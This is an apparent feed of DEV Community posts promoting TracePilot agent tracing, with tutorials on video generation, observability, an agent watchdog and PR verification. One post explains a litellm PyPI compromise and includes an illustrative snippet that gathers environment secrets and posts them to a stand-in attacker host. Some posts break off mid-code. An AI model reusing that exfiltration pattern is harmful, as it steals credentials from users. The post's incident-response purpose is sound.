DEV Community: Tracepilot

AI CLI Tools Are Eating Each Other's Lunch

Tracepilot — Mon, 06 Jul 2026 16:43:29 +0000

AI CLI Tools Are Eating Each Other's Lunch

Here's what's happening in 2026.

Every AI company ships a CLI tool. Claude Code. OpenAI Codex. Gemini CLI. GitHub Copilot CLI. Kimi Code. OpenCode. Pi. Qwen Code.

They all do the same thing. Read your repo. Write code. Run commands. Make mistakes.

The problem isn't which one to pick. It's that they're all opaque black boxes that fail in exactly the same ways.

The Failure Pattern Never Changes

You ask an AI CLI to fix a bug. It reads 47 files. Spends $1.20 in tokens. Writes a "fix" that breaks your build.

You have no idea why.

Was it the prompt? Did it misinterpret a file? Did it hallucinate an API that doesn't exist? Did it get stuck in a loop rewriting the same function?

Traditional debugging is archaeology. You dig through terminal output. You guess. You try again with a slightly different prompt. Maybe it works. Maybe it doesn't.

Sound familiar?

What Actually Happens Under The Hood

Let's look at a real failure. Claude Code was asked to refactor a React component. Here's what the trace showed:

Step 1: Read src/components/UserProfile.tsx (success)
Step 2: Read src/hooks/useUser.ts (success)  
Step 3: Read src/types/user.d.ts (success)
Step 4: Generate new component (success, 847 tokens)
Step 5: Write to src/components/UserProfile.tsx (success)
Step 6: Run tests (FAILURE - 3 failing tests)

The tool reported "task completed with test failures." Useless.

With proper tracing, you see the actual state at each step:

{
  "step": 4,
  "input_tokens": 1247,
  "output_tokens": 847,
  "prompt_preview": "Refactor UserProfile to use the new useUser hook pattern...",
  "output_preview": "export function UserProfile({ userId }: { userId: string }) { ... }",
  "tool_calls": [
    { "name": "read_file", "args": { "path": "src/types/user.d.ts" }, "result": "..." },
    { "name": "write_file", "args": { "path": "src/components/UserProfile.tsx" }, "result": "success" }
  ],
  "latency_ms": 3402,
  "cost_usd": 0.047
}

Now you can see the problem. The model read user.d.ts but didn't read the actual API contract in api/users.ts. It invented a field that doesn't exist.

The Manual Fix That Works

You don't need a fancy tool for this. You need to instrument your AI CLI calls.

Here's the bare minimum approach:

# Wrap the CLI call with timing and output capture
time (claude-code "refactor UserProfile" 2>&1) | tee claude_run_$(date +%s).log

# Parse the log for failures
grep -i "error\|fail\|exception" claude_run_*.log

But that's garbage. You get the same flat log everyone else has.

The One-Line Change That Changes Everything

Instead of wrapping the output, wrap the calls.

import { TracePilot } from 'tracepilot-sdk';

const tp = new TracePilot(process.env.TRACEPILOT_API_KEY);

// Before:
const result = await claudeCode.refactor('UserProfile', files);

// After:
const { result, spanId } = await tp.wrapToolCall(
  'refactor-component',
  () => claudeCode.refactor('UserProfile', files),
  parentSpanId,
  4
);

That's it. One line changed. Now every tool call is tracked.

When the build breaks, you open the dashboard. You see the exact state at step 4 — the prompt, the files read, the output, the tokens, the latency. You click "Fork & Rerun". You edit the prompt to say "also read api/users.ts". You hit replay.

No redeployment. No "works on my machine". No guessing.

Why This Actually Matters

AI CLI tools are becoming the default way developers interact with codebases. They're not toys anymore. They're writing production code, running deployments, modifying databases.

The cost of failure is real.

Failure	Without TracePilot	With TracePilot
Hallucinated API	Debug 45 min	Fork, fix prompt, 30 sec
Wrong refactor	Revert, retry, 2 hrs	See exact state, fix one line
Token explosion	Find in billing, too late	See it happening live

The Pattern Is Always The Same

Every AI CLI tool follows the same pattern:

Read context (files, git history, docs)
Generate plan
Execute tool calls (write files, run commands)
Verify result

The failures happen at step 2 or 3. And without tracing, you're blind.

TracePilot gives you eyes. One import. One wrapper. Done.

Next time your AI CLI tool ships garbage, you'll know exactly why. And you'll fix it in seconds, not hours.

Get your free API key. Fork a failing run. See what your agent actually did.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Build an AI Video Platform with BoTTube: A Developer's Tutorial

Tracepilot — Sat, 04 Jul 2026 03:53:41 +0000

Build an AI Video Platform with BoTTube: A Developer's Tutorial

What we're building: A fully functional AI-powered video platform that generates, processes, and serves content — all running on your local machine with BoTTube's open-source stack.

Prerequisites

Node.js 18+ installed
Python 3.9+ installed
FFmpeg (for video processing)
An OpenAI API key (for AI generation)
15 minutes of your time

Step 1: Clone and Set Up BoTTube

BoTTube is an AI video platform that's already processed 1000+ videos. Let's get it running locally.

# Clone the repository
git clone https://github.com/ElyanLabs/bottube.git
cd bottube

# Install dependencies
npm install
pip install -r requirements.txt

# Copy environment config
cp .env.example .env

Open .env and add your API keys:

OPENAI_API_KEY=sk-your-key-here
VIDEO_STORAGE_PATH=./videos
PORT=3000

Step 2: Start the Video Processing Pipeline

BoTTube's pipeline handles everything from script generation to final export. Let's start the core services:

# Terminal 1: Start the API server
npm run dev

# Terminal 2: Start the video processor
python -m bottube.processor --workers 4

You should see:

[BoTTube] API server running on http://localhost:3000
[BoTTube] Video processor initialized with 4 workers

Step 3: Generate Your First AI Video

Now let's create a video programmatically. Create a file called generate.js:

// generate.js
import { BoTTubeClient } from 'bottube-sdk';

const client = new BoTTubeClient({
  apiKey: process.env.OPENAI_API_KEY,
  endpoint: 'http://localhost:3000'
});

async function createVideo() {
  // Define your video content
  const video = await client.create({
    script: "Explain quantum computing in 60 seconds",
    style: "educational",
    duration: 60, // seconds
    voice: "en-US-neural",
    background: "gradient-blue"
  });

  console.log(`Video created: ${video.id}`);
  console.log(`Status: ${video.status}`);

  // Poll until complete
  while (video.status !== 'complete') {
    await new Promise(r => setTimeout(r, 2000));
    const status = await client.getStatus(video.id);
    console.log(`Processing: ${status.progress}%`);

    if (status.status === 'complete') break;
  }

  console.log(`✅ Video ready at: ${video.url}`);
}

createVideo().catch(console.error);

Run it:

node generate.js

You'll see progress updates. In about 30 seconds, your first AI-generated video is ready.

Step 4: Build a Video Feed API

Let's create an API endpoint that serves your generated videos:

# api/feed.py
from fastapi import FastAPI, Query
from bottube import VideoManager
from typing import Optional

app = FastAPI()
manager = VideoManager(storage_path="./videos")

@app.get("/api/feed")
async def get_feed(
    limit: int = Query(10, ge=1, le=50),
    category: Optional[str] = None,
    sort: str = "newest"
):
    """Get a paginated feed of AI-generated videos"""

    videos = manager.list_videos(
        limit=limit,
        category=category,
        sort_by=sort
    )

    return {
        "videos": videos,
        "total": len(videos),
        "page": 1
    }

@app.get("/api/video/{video_id}")
async def get_video(video_id: str):
    """Get detailed info about a specific video"""

    video = manager.get_video(video_id)
    if not video:
        return {"error": "Video not found"}, 404

    return {
        "id": video.id,
        "title": video.title,
        "duration": video.duration,
        "url": video.url,
        "created_at": video.created_at,
        "metadata": video.metadata
    }

Step 5: Add the Frontend

Here's a minimal React component to display your video feed:

// components/VideoFeed.tsx
import { useState, useEffect } from 'react';

interface Video {
  id: string;
  title: string;
  duration: number;
  url: string;
  thumbnail: string;
}

export function VideoFeed() {
  const [videos, setVideos] = useState<Video[]>([]);
  const [loading, setLoading] = useState(true);

  useEffect(() => {
    fetch('/api/feed?limit=20')
      .then(res => res.json())
      .then(data => {
        setVideos(data.videos);
        setLoading(false);
      });
  }, []);

  if (loading) return <div>Loading videos...</div>;

  return (
    <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4">
      {videos.map(video => (
        <div key={video.id} className="bg-white rounded-lg shadow-md overflow-hidden">
          <video 
            src={video.url} 
            controls 
            className="w-full h-48 object-cover"
          />
          <div className="p-4">
            <h3 className="font-semibold text-lg">{video.title}</h3>
            <p className="text-gray-500 text-sm">
              {Math.floor(video.duration / 60)}:{(video.duration % 60).toString().padStart(2, '0')}
            </p>
          </div>
        </div>
      ))}
    </div>
  );
}

Step 6: Deploy and Scale

BoTTube handles scaling automatically. For production:

# Build for production
npm run build

# Start with PM2 for process management
pm2 start ecosystem.config.js

# Or deploy with Docker
docker-compose up -d

Your platform is now live. You can generate, process, and serve AI videos at scale.

What You've Built

In under 15 minutes, you've created:

✅ An AI video generation pipeline
✅ A REST API for video management
✅ A responsive frontend feed
✅ A production-ready deployment setup

BoTTube handles the heavy lifting — script generation, voice synthesis, video composition, and encoding — so you can focus on building the platform experience.

Next Steps

Add user authentication with NextAuth.js
Implement video categories and search
Add analytics to track views and engagement
Create playlists and user collections
Integrate with S3 for cloud storage

The full source code and documentation are available at github.com/ElyanLabs/bottube. Join the community — we're building the future of AI-generated content, one video at a time.

This tutorial was built with BoTTube v1.2.0. For questions or contributions, check the GitHub repo or join our Discord.

Wallet for bounty: 0xYourWalletAddressHere

Published at: dev.to/yourusername/bottube-tutorial

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Building an Observability Layer for Your AI Agent: ProteusTracer

Tracepilot — Fri, 03 Jul 2026 17:28:10 +0000

Building an Observability Layer for Your AI Agent: ProteusTracer

What we're building

A production-grade observability layer for the Proteus agent framework that captures every LLM call, tool invocation, and token spend — so you can debug failures in seconds instead of hours.

Prerequisites

Node.js 18+
A Proteus agent project (or any agent framework)
TypeScript 5+
Basic familiarity with OpenTelemetry concepts

Step 1: Define the core interfaces

Start with the types that will power your observability. This is the contract every tracer must satisfy.

// types.ts
export interface Span {
  id: string;
  traceId: string;
  parentSpanId?: string;
  name: string;
  kind: SpanKind;
  status: SpanStatus;
  startTime: number;
  endTime?: number;
  attributes: Record<string, string | number | boolean>;
  events: SpanEvent[];
}

export interface SpanEvent {
  name: string;
  timestamp: number;
  attributes?: Record<string, string | number | boolean>;
}

export enum SpanKind {
  INTERNAL = 'INTERNAL',
  CLIENT = 'CLIENT',
  SERVER = 'SERVER',
  PRODUCER = 'PRODUCER',
  CONSUMER = 'CONSUMER',
}

export enum SpanStatus {
  OK = 'OK',
  ERROR = 'ERROR',
  UNKNOWN = 'UNKNOWN',
}

export interface Metric {
  name: string;
  value: number;
  unit: string;
  timestamp: number;
  labels: Record<string, string>;
}

export interface TraceContext {
  traceId: string;
  spanId: string;
  isSampled: boolean;
}

This gives you the building blocks. Every LLM call becomes a span. Every tool invocation becomes a child span. Every token count becomes a metric.

Step 2: Build the ProteusTracer

Now wire those interfaces into a working tracer that wraps your agent's execution flow.

// proteus-tracer.ts
import { Span, SpanKind, SpanStatus, Metric, TraceContext } from './types';
import { v4 as uuidv4 } from 'uuid';

export class ProteusTracer {
  private spans: Map<string, Span> = new Map();
  private metrics: Metric[] = [];
  private activeTrace?: TraceContext;

  constructor(private readonly serviceName: string) {}

  startTrace(): TraceContext {
    const traceId = uuidv4();
    const rootSpanId = uuidv4();

    const rootSpan: Span = {
      id: rootSpanId,
      traceId,
      name: `${this.serviceName}.run`,
      kind: SpanKind.SERVER,
      status: SpanStatus.UNKNOWN,
      startTime: Date.now(),
      attributes: {
        'proteus.service': this.serviceName,
        'proteus.version': '1.0.0',
      },
      events: [],
    };

    this.spans.set(rootSpanId, rootSpan);
    this.activeTrace = { traceId, spanId: rootSpanId, isSampled: true };

    return this.activeTrace;
  }

  startSpan(name: string, parentSpanId?: string): Span {
    const spanId = uuidv4();
    const traceId = this.activeTrace?.traceId || uuidv4();

    const span: Span = {
      id: spanId,
      traceId,
      parentSpanId: parentSpanId || this.activeTrace?.spanId,
      name,
      kind: SpanKind.INTERNAL,
      status: SpanStatus.UNKNOWN,
      startTime: Date.now(),
      attributes: {},
      events: [],
    };

    this.spans.set(spanId, span);
    return span;
  }

  endSpan(spanId: string, status: SpanStatus = SpanStatus.OK): void {
    const span = this.spans.get(spanId);
    if (span) {
      span.endTime = Date.now();
      span.status = status;
    }
  }

  addSpanEvent(spanId: string, name: string, attributes?: Record<string, string | number | boolean>): void {
    const span = this.spans.get(spanId);
    if (span) {
      span.events.push({ name, timestamp: Date.now(), attributes });
    }
  }

  recordMetric(name: string, value: number, unit: string, labels: Record<string, string> = {}): void {
    this.metrics.push({
      name,
      value,
      unit,
      timestamp: Date.now(),
      labels: { ...labels, service: this.serviceName },
    });
  }

  export(): { spans: Span[]; metrics: Metric[] } {
    return {
      spans: Array.from(this.spans.values()),
      metrics: this.metrics,
    };
  }

  reset(): void {
    this.spans.clear();
    this.metrics.clear();
    this.activeTrace = undefined;
  }
}

Step 3: Create a bridge handler for your agent

This is where the tracer meets your actual agent execution. The bridge handler wraps your agent's phases and instruments every call.


typescript
// bridge-handler.ts
import { ProteusTracer } from './proteus-tracer';
import { SpanKind, SpanStatus } from './types';

export class AgentBridgeHandler {
  private tracer: ProteusTracer;

  constructor(serviceName: string) {
    this.tracer = new ProteusTracer(serviceName);
  }

  async runAgent<T>(agentName: string, fn: (context: AgentContext) => Promise<T>): Promise<T> {
    const trace = this.tracer.startTrace();
    const context: AgentContext = {
      traceId: trace.traceId,
      agentName,
      instrumentLLMCall: (model, messages, callFn) => 
        this.instrumentLLMCall(model, messages, callFn),
      instrumentToolCall: (toolName, args, callFn) =>
        this.instrumentToolCall(toolName, args, callFn),
    };

    try {
      const result = await fn(context);
      this.tracer.endSpan(trace.spanId, SpanStatus.OK);
      return result;
    } catch (error) {
      this.tracer.addSpanEvent(trace.spanId, 'error', { 
        'error.message': (error as Error).message 
      });
      this.tracer.endSpan(trace.spanId, SpanStatus.ERROR);
      throw error;
    } finally {
      this.exportTrace();
    }
  }

  private async instrumentLLMCall<T>(
    model: string,
    messages: unknown[],
    callFn: () => Promise<T>
  ): Promise<T> {
    const span = this.tracer.startSpan(`llm.${model}`);
    this.tracer.addSpanEvent(span.id, 'llm.request', {
      'llm.model': model,
      'llm.messages.count': messages.length,
    });

    const startTime = Date.now();
    try {
      const result = await callFn();
      const duration = Date.now() - startTime;

      this.tracer.recordMetric('llm.duration', duration, 'ms', { model });
      this.tracer.addSpanEvent(span.id, 'llm.response', {
        'llm.duration.ms': duration,
      });
      this.tracer.endSpan(span.id, SpanStatus.OK);
      return result;
    } catch (error) {
      this.tracer.addSpanEvent(span.id, 'llm.error', {
        'error.message': (error as Error).message,
      });
      this.tracer.recordMetric('llm.errors', 1, 'count', { model });
      this.tracer.endSpan(span.id, SpanStatus.ERROR);
      throw error;
    }
  }

  private async instrumentToolCall<T>(
    toolName: string,
    args: unknown,
    callFn: () => Promise<T>
  ): Promise<T> {
    const span = this.tracer.startSpan(`tool.${toolName}`);
    this.tracer.addSpanEvent(span.id, 'tool.invoke', {
      'tool.name': toolName,
    });

    try {
      const result = await callFn();
      this.tracer.endSpan(span.id, SpanStatus.OK);
      return result;
    } catch (error) {
      this.tracer.addSpanEvent(span.id, 'tool.error', {
        'error.message': (error as Error).

---

**Debugging AI agents shouldn't feel like reading The Matrix.** 
Join other engineers who are building reliable autonomous workflows in our community: [TracePilot Discord](https://discord.gg/KzXRAXFM8)

That PyPI Package You Trusted? Yeah, It Was Compromised

Tracepilot — Mon, 29 Jun 2026 23:33:45 +0000

That PyPI Package You Trusted? Yeah, It Was Compromised

Here's the thing about supply chain attacks: they don't care about your fancy auth system or your zero-trust network. They just need one maintainer to have a bad day.

Last week, litellm v1.82.7 and v1.82.8 hit PyPI. If you pip install'd either of those between the window they were live, you pulled in a compromised package.

Let's break down what happened, why it matters, and how you can check if you're affected.

The Timeline

v1.82.7 published — looks normal, works normal, but contains injected code from a compromised CI/CD pipeline
v1.82.8 published — same issue, different version number
Community detects anomaly — someone notices unexpected outbound connections from their litellm processes
BerriAI investigates — finds the compromise, yanks both versions from PyPI within hours
Current status — v1.82.9+ are clean. The bad packages are gone.

The root cause? The Trivy supply-chain pipeline was compromised. Not a typo in some dependency. Not a developer's laptop getting owned. The actual CI/CD pipeline that builds and publishes the package.

What The Compromised Code Did

I haven't seen the full decompiled payload, but here's what typically happens in these attacks:

# Simplified example of what a compromised post-install hook looks like
# This is NOT the actual payload — just the pattern
import os
import requests

# Harvest environment variables
env_dump = {k: v for k, v in os.environ.items() if 'KEY' in k or 'SECRET' in k or 'TOKEN' in k}

# Exfiltrate to attacker C2
requests.post('https://evil-c2.example.com/exfil', json=env_dump)

Usually it's a setup.py post-install hook that:

Scans for OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY_ID, etc.
Packs them up
Ships them to an attacker-controlled endpoint

The scary part? Your pip install ran this automatically. No user interaction needed.

How To Check If You're Affected

# Check your current litellm version
pip show litellm | grep Version

# If it shows 1.82.7 or 1.82.8, you pulled the compromised version
# If it shows anything else, you're likely fine

But here's the problem with "likely fine" — you need to check more than just the version number. The compromise could have:

Rotated your API keys — the attacker now has them
Exfiltrated database credentials — if they were in env vars
Left persistence mechanisms — cron jobs, modified startup scripts

The Manual Fix

# Step 1: Remove the compromised package
pip uninstall litellm

# Step 2: Rotate ALL credentials that were in environment variables
# Don't just rotate your OpenAI key. Rotate everything.
# The attacker had access to your full environment.

# Step 3: Check for persistence
crontab -l
ls -la /etc/cron.*
cat ~/.bashrc | grep -i "curl\|wget\|eval\|base64"

# Step 4: Audit outbound connections
sudo netstat -tunp | grep ESTABLISHED
# Look for connections to unknown IPs

# Step 5: Reinstall clean version
pip install litellm==1.82.9

What This Actually Means

This isn't a litellm-specific problem. This is a "we all rely on open source packages and their CI/CD pipelines are attack surfaces" problem.

The same attack vector works against:

Any PyPI package with automated publishing
Any npm package with CI/CD auto-deploy
Any Docker image built from a compromised base

Sound familiar? It should. This is the same pattern as the event-stream npm incident, the colors and faker sabotage, and about a dozen others I've lost count of.

How To Protect Yourself

Short term:

Pin your dependencies to specific versions
Use pip install --require-hashes with a lockfile
Monitor your environment for unexpected outbound connections

Long term:

Run your own internal PyPI mirror with manual approval for new versions
Use container builds that cache dependencies and diff-check them
Implement runtime monitoring that alerts on unexpected process behavior

# Example: Generate a requirements.txt with hashes
pip freeze --require-hashes > requirements-hashed.txt

# Install with hash verification
pip install --require-hashes -r requirements-hashed.txt

The Part Nobody Talks About

The attacker didn't need to break into BerriAI's GitHub. They didn't need to social-engineer a maintainer. They compromised the CI/CD pipeline — the automated system that builds and ships the package.

That's the scariest part. Because most teams spend their security budget on production infrastructure, not on their build pipelines. And the build pipeline has access to everything.

Guess what happens next?

Someone's going to find another pipeline vulnerability. Maybe it's npm this time. Maybe it's a GitHub Actions runner. Maybe it's your company's internal package registry.

The fix isn't "don't use open source." The fix is "treat your CI/CD pipeline like your production environment — because it's the most valuable target an attacker could hit."

Check your pip freeze output. Rotate those keys. And maybe don't auto-update production dependencies on Fridays.

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Building a Real-Time Ticket Refinement Dashboard

Tracepilot — Fri, 26 Jun 2026 18:17:39 +0000

Liquid syntax error: Variable '{{% raw %}' was not properly terminated with regexp: /\}\}/

Watchdog: When Your AI Agent Needs a Babysitter

Tracepilot — Mon, 22 Jun 2026 22:09:12 +0000

Watchdog: When Your AI Agent Needs a Babysitter

Here's the problem. Your agent has a self_modify tool. It can change its own config, rewrite its prompts, update its system instructions. Sounds great until it enters a death spiral.

I've seen it happen. Agent decides its temperature is too low. Bumps it to 0.9. Output gets weirder. Agent decides it needs MORE creativity. Bumps to 1.2. Now it's hallucinating database schemas. Agent tries to "fix" itself by rewriting its system prompt. Now it thinks it's a pirate. You get billed $47 before someone notices.

The fix? A watchdog. Not the Kubernetes kind. Something that watches the agent itself.

What Actually Breaks

Three failure modes. You've seen all of them.

Infinite loops. Agent calls a tool. Tool returns data. Agent calls the same tool with the same args. Again. Again. Token count hits 500K. You're paying for nothing.

Unresponsive LLM. API timeout. Rate limit. Network blip. Agent doesn't handle it gracefully — just sits there waiting. No error. No retry. Just silence.

Self-modify degradation. Agent changes its prompt from "helpful assistant" to "maximize engagement." Suddenly it's arguing with users. Or it drops the temperature too low and produces the same response to every question.

The Watchdog Pattern

class AgentWatchdog:
    def __init__(self, agent, config: WatchdogConfig):
        self.agent = agent
        self.config = config
        self.metrics = MetricsCollector()
        self.anomaly_detector = AnomalyDetector()

    async def monitor(self):
        while self.agent.is_running:
            snapshot = await self.collect_snapshot()

            if self.anomaly_detector.detect(snapshot):
                await self.handle_anomaly(snapshot)

            await asyncio.sleep(self.config.poll_interval)

Three things to watch. Always.

1. Loop Detection

class LoopDetector:
    def __init__(self, max_repeats: int = 5, window_seconds: int = 60):
        self.max_repeats = max_repeats
        self.call_history = deque(maxlen=100)

    def check(self, tool_name: str, args: dict) -> bool:
        self.call_history.append((tool_name, args, time.time()))

        # Count identical calls in window
        recent = [c for c in self.call_history 
                  if c[2] > time.time() - self.window_seconds]

        repeats = sum(1 for c in recent 
                     if c[0] == tool_name and c[1] == args)

        return repeats >= self.max_repeats

Simple. Effective. Catches the "call the same search API with the same query 47 times" pattern.

2. Health Check

class HealthChecker:
    def __init__(self, timeout_seconds: int = 30):
        self.timeout = timeout_seconds

    async def check(self, agent) -> HealthStatus:
        try:
            start = time.time()
            response = await asyncio.wait_for(
                agent.ping(), 
                timeout=self.timeout
            )
            latency = time.time() - start

            return HealthStatus(
                alive=True,
                latency_ms=latency * 1000,
                last_response=response
            )
        except asyncio.TimeoutError:
            return HealthStatus(alive=False, error="timeout")
        except Exception as e:
            return HealthStatus(alive=False, error=str(e))

Ping the LLM. If it doesn't respond in 30 seconds, something's wrong. Don't wait for the user to notice.

3. Anomaly Detection

class AnomalyDetector:
    def __init__(self, baseline_window: int = 100):
        self.baseline = deque(maxlen=baseline_window)
        self.threshold_multiplier = 3.0  # Standard deviation multiplier

    def update_baseline(self, metrics: dict):
        self.baseline.append(metrics)

    def is_anomalous(self, current: dict) -> bool:
        if len(self.baseline) < 10:
            return False  # Not enough data yet

        for key in current:
            values = [m[key] for m in self.baseline if key in m]
            if not values:
                continue

            mean = sum(values) / len(values)
            variance = sum((v - mean) ** 2 for v in values) / len(values)
            std_dev = variance ** 0.5

            if abs(current[key] - mean) > self.threshold_multiplier * std_dev:
                return True

        return False

Token count suddenly 10x normal? Latency spiking? Cost per step went from $0.02 to $0.50? Flag it.

The Automatic Response

Detection is useless without action. Here's what you do:

class WatchdogAction:
    def __init__(self, git_repo: str):
        self.repo = git_repo

    async def handle_anomaly(self, snapshot: AgentSnapshot):
        # 1. Log everything
        await self.log_incident(snapshot)

        # 2. Kill the current execution
        await self.agent.stop()

        # 3. Revert to last known good state
        last_good = await self.find_last_good_commit()
        await self.git_revert(last_good)

        # 4. Notify
        await self.send_alert(snapshot)

    async def git_revert(self, commit_hash: str):
        subprocess.run(["git", "revert", "--no-commit", commit_hash])
        subprocess.run(["git", "commit", "-m", 
                       f"auto-revert: watchdog detected anomaly"])
        subprocess.run(["git", "push"])

Three steps. Stop the bleeding. Revert the damage. Tell someone.

The Hard Parts

This sounds simple. It's not. Two things will bite you.

False positives. Your anomaly detector flags a legit spike in usage. Now you've killed a running agent and reverted configs for nothing. Solution: require multiple consecutive anomalies before acting. Or use a confirmation window.

What's "good"? The agent modifies itself constantly. Which commit is the "last good" one? You need a baseline — a snapshot taken right after deployment, before any self-modification. Mark it as golden.

class GoldenBaseline:
    def __init__(self):
        self.golden_commit = None

    def mark_golden(self):
        result = subprocess.run(["git", "rev-parse", "HEAD"], 
                               capture_output=True, text=True)
        self.golden_commit = result.stdout.strip()
        subprocess.run(["git", "tag", "golden", self.golden_commit])

What This Looks Like in Practice

An agent runs for 6 hours. It's modified its system prompt 12 times. Token count per step is stable at ~2K. Then it hits a weird edge case. The self_modify tool runs and sets max_tokens to 999999. Next LLM call tries to generate a million tokens. Cost spikes from $0.03 to $15 per step.

The watchdog catches it. Token count is 500x baseline. Latency is 30x normal. It kills the agent, reverts to the golden commit, and sends a Slack message. Total time from anomaly to recovery: 12 seconds.

Without the watchdog? Someone notices the billing alert 4 hours later.

The Missing Piece

You need one more thing. The watchdog itself needs monitoring. If it crashes, you're blind.


python
class WatchdogSupervisor:
    def __init__(self):
        self.watchdog = AgentWatchdog()
        self.heartbeat_interval = 5  # seconds

    async def run(self):
        while True:
            try:
                await asyncio.wait_for(
                    self.watchdog.monitor(),
                    timeout=self.heartbeat_interval * 3
                )
            except as

---

**Debugging AI agents shouldn't feel like reading The Matrix.** 
Join other engineers who are building reliable autonomous workflows in our community: [TracePilot Discord](https://discord.gg/KzXRAXFM8)

Build a Bounty Verification Agent That Tests PRs & Validates Evidence

Tracepilot — Sat, 20 Jun 2026 01:22:42 +0000

Build a Bounty Verification Agent That Tests PRs & Validates Evidence

What we're building: An automated agent that verifies submitted GitHub bounty PRs, runs tests, captures evidence, and produces a clear QA report — all in one traceable pipeline.

Prerequisites

Node.js 18+
A GitHub personal access token (with repo scope)
A TracePilot API key (free tier works)
An OpenAI API key

Step 1: Set Up Your Project

mkdir bounty-verifier
cd bounty-verifier
npm init -y
npm install openai tracepilot-sdk node-fetch

Create your environment file:

# .env
GITHUB_TOKEN=ghp_your_token_here
OPENAI_API_KEY=sk-your-key
TRACEPILOT_API_KEY=tp_live_your_key

Step 2: Build the PR Verification Core

Create verifier.js — this is where the actual testing logic lives:

import fetch from 'node-fetch';

export async function verifyPR(prUrl) {
  // Parse owner/repo/PR number from URL
  const match = prUrl.match(/github\.com\/(.+)\/(.+)\/pull\/(\d+)/);
  if (!match) throw new Error('Invalid PR URL');

  const [, owner, repo, prNumber] = match;

  // Fetch PR details
  const prRes = await fetch(
    `https://api.github.com/repos/${owner}/${repo}/pulls/${prNumber}`,
    { headers: { Authorization: `token ${process.env.GITHUB_TOKEN}` } }
  );
  const pr = await prRes.json();

  // Check mergeable status
  if (pr.mergeable === false) {
    return {
      passed: false,
      evidence: { mergeConflict: true },
      summary: '❌ PR has merge conflicts'
    };
  }

  // Get check runs
  const checksRes = await fetch(pr.checks_url, {
    headers: { Authorization: `token ${process.env.GITHUB_TOKEN}` }
  });
  const checks = await checksRes.json();

  const allPassed = checks.check_runs.every(
    run => run.conclusion === 'success'
  );

  return {
    passed: allPassed,
    evidence: {
      prTitle: pr.title,
      mergeable: pr.mergeable,
      checksPassed: allPassed,
      totalChecks: checks.check_runs.length,
      failedChecks: checks.check_runs
        .filter(r => r.conclusion !== 'success')
        .map(r => ({ name: r.name, status: r.conclusion }))
    },
    summary: allPassed 
      ? `✅ ${checks.check_runs.length} checks passed`
      : `❌ Some checks failed`
  };
}

Step 3: Add the AI Analysis Layer

Now let's make the agent smart enough to analyze PR content and bounty requirements:

import OpenAI from 'openai';

const openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });

export async function analyzePR(prData, bountyRequirements) {
  const response = await openai.chat.completions.create({
    model: 'gpt-4o-mini',
    messages: [
      {
        role: 'system',
        content: 'You are a QA bounty verifier. Analyze PRs against bounty requirements. Respond in JSON with: { passed: boolean, reasoning: string, evidence: object }'
      },
      {
        role: 'user',
        content: `Bounty requirements: ${bountyRequirements}\n\nPR data: ${JSON.stringify(prData, null, 2)}`
      }
    ],
    response_format: { type: 'json_object' }
  });

  return JSON.parse(response.choices[0].message.content);
}

Step 4: Wire Everything Together with TracePilot

This is where the magic happens. Every step gets traced, so you can debug failures instantly:

import { TracePilot } from 'tracepilot-sdk';
import { verifyPR } from './verifier.js';
import { analyzePR } from './analyzer.js';

const tp = new TracePilot(process.env.TRACEPILOT_API_KEY);

async function verifyBountyPR(prUrl, bountyRequirements) {
  await tp.startTrace('bounty-verifier');

  // Step 1: Fetch and verify PR
  const { result: prResult, spanId: prSpan } = await tp.wrapOpenAI(
    () => verifyPR(prUrl),
    [{ role: 'user', content: `Verify PR: ${prUrl}` }],
    null,
    1
  );

  if (!prResult.passed) {
    return prResult; // Early exit with evidence
  }

  // Step 2: AI analysis of PR against requirements
  const { result: analysis, spanId: analysisSpan } = await tp.wrapOpenAI(
    () => analyzePR(prResult.evidence, bountyRequirements),
    [{ role: 'user', content: 'Analyze PR against bounty requirements' }],
    prSpan,  // Link to parent span
    2
  );

  // Step 3: Generate final report
  const { result: report } = await tp.wrapToolCall(
    'generate-report',
    () => generateReport(prResult, analysis),
    analysisSpan,
    3,
    false  // Not destructive — just generating text
  );

  return report;
}

function generateReport(prResult, analysis) {
  return {
    timestamp: new Date().toISOString(),
    prUrl,
    prTitle: prResult.evidence.prTitle,
    technicalChecks: prResult.passed ? '✅ All passing' : '❌ Some failed',
    aiAnalysis: analysis.passed ? '✅ Meets requirements' : '❌ Needs revision',
    evidence: {
      githubChecks: prResult.evidence,
      aiReasoning: analysis.reasoning
    },
    verdict: (prResult.passed && analysis.passed) 
      ? '✅ APPROVED — Ready for bounty payout'
      : '❌ REJECTED — See details above',
    bountyAmount: '300 MRG'
  };
}

Step 5: Run It

// index.js
import 'dotenv/config';
import { verifyBountyPR } from './verifier-agent.js';

const prUrl = 'https://github.com/mergeos-bounties/mergeos/pull/64';
const requirements = `
- PR must pass all CI checks
- Code must be well-documented
- Must include test coverage
- No merge conflicts
`;

verifyBountyPR(prUrl, requirements)
  .then(report => console.log(JSON.stringify(report, null, 2)))
  .catch(console.error);

node index.js

Adding Observability

You already have TracePilot wired in. Here's what happens:

Every step is traced — PR fetch, AI analysis, report generation
Token costs tracked — See exactly how much each AI call cost
Time-travel debugging — If the AI analysis fails, open the dashboard, fork the trace at step 2, edit the prompt, and replay

One line change to add more visibility:

// Before — standard logging
console.log('PR verified:', prResult);

// After — trace it
const { spanId } = await tp.wrapToolCall('log-verification', 
  () => console.log('PR verified:', prResult),
  parentSpanId,
  4
);

Open tracepilotai.com/dashboard — every verification run appears as a structured trace. Click into any span to see exact inputs, outputs, and timing.

Next Steps

You got this. Here's what to do next:

Add more checks — Clone the repo, run tests locally, verify diff size
Add bounty evidence capture — Screenshot passing checks, save test output as artifacts
Build a web dashboard

Debugging AI agents shouldn't feel like reading The Matrix.
Join other engineers who are building reliable autonomous workflows in our community: TracePilot Discord

Your Trending Repos Script Broke. Again.

Tracepilot — Mon, 15 Jun 2026 23:11:35 +0000

Your Trending Repos Script Broke. Again.

You set up a GitHub Action to scrape trending TypeScript repos. It ran at 9 AM. You got an empty JSON array. No errors. Just [].

Sound familiar?

